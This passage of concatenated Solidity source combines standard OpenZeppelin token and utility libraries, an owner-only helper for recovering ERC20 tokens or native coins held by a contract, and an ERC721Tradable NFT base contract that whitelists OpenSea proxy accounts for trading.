IERC20Upgradeable; /** * @dev Withdraws the erc20 tokens or native coins from this contract. * Caller should additionally check that the claimed token is not a part of bridge operations (i.e. that token != erc20token()). * @param _token address of the claimed token or address(0) for native coins. * @param _to address of the tokens/coins receiver. */ function claimValues(address _token, address _to) public onlyOwner() { if (_token == address(0)) { _claimNativeCoins(_to); } else { _claimErc20Tokens(_token, _to); } } /** * @dev Internal function for withdrawing all native coins from the contract. * @param _to address of the coins receiver. */ function _claimNativeCoins(address _to) private { uint256 amount = address(this).balance; // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = _to.call{ value: amount }(""); require(success, "ERC20: Address: unable to send value, recipient may have reverted"); } /** * @dev Internal function for withdrawing all tokens of some particular ERC20 contract from this contract. * @param _token address of the claimed ERC20 token. * @param _to address of the tokens receiver. */ function _claimErc20Tokens(address _token, address _to) private { IERC20Upgradeable token = IERC20Upgradeable(_token); uint256 balance = token.balanceOf(address(this)); token.safeTransfer(_to, balance); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./common/meta-transactions/ContentMixin.sol"; import "./common/meta-transactions/NativeMetaTransaction.sol"; contract OwnableDelegateProxy {} /** * Used to delegate ownership of a contract to another address, to save on unneeded transactions to approve contract use for users */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ERC721Enumerable, ContextMixin, NativeMetaTransaction, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; /** * We rely on the OZ Counter util to keep track of the next available ID. * We track the nextTokenId instead of the currentTokenId to save users on gas costs. * Read more about it here: https://shiny.mirror.xyz/OUampBbIz9ebEicfGnQf5At_ReMHlZy0tB4glb9xQ0E */ Counters.Counter _nextTokenId; address proxyRegistryAddress; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; // nextTokenId is initialized to 1, since starting at 0 leads to higher gas cost for the first minter _nextTokenId.increment(); _initializeEIP712(_name); } /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mintTo(address _to) public onlyOwner { uint256 currentTokenId = _nextTokenId.current(); _nextTokenId.increment(); _safeMint(_to, currentTokenId); } /** @dev Returns the total tokens minted so far. 1 is always subtracted from the Counter since it tracks the next available tokenId. */ function totalSupply() public override view returns (uint256) { return _nextTokenId.current() - 1; } function baseTokenURI() virtual public pure returns (string memory); function tokenURI(uint256 _tokenId) override public pure returns (string memory) { return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId))); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal override view returns (address sender) { return ContextMixin.msgSender(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // 